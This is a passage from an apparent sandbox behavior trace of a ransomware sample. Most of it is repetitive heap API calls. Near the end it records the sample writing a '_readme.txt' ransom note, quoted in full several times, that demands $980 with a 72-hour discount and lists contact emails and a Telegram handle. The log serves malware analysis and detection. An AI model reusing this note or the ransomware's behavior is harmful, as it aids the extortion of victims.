Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.336] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0059.336] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.336] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.336] PathFindFileNameW (pszPath="") returned="" [0059.336] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.337] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.337] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.337] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.337] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0059.337] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.337] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0059.337] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.337] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.337] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.338] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is 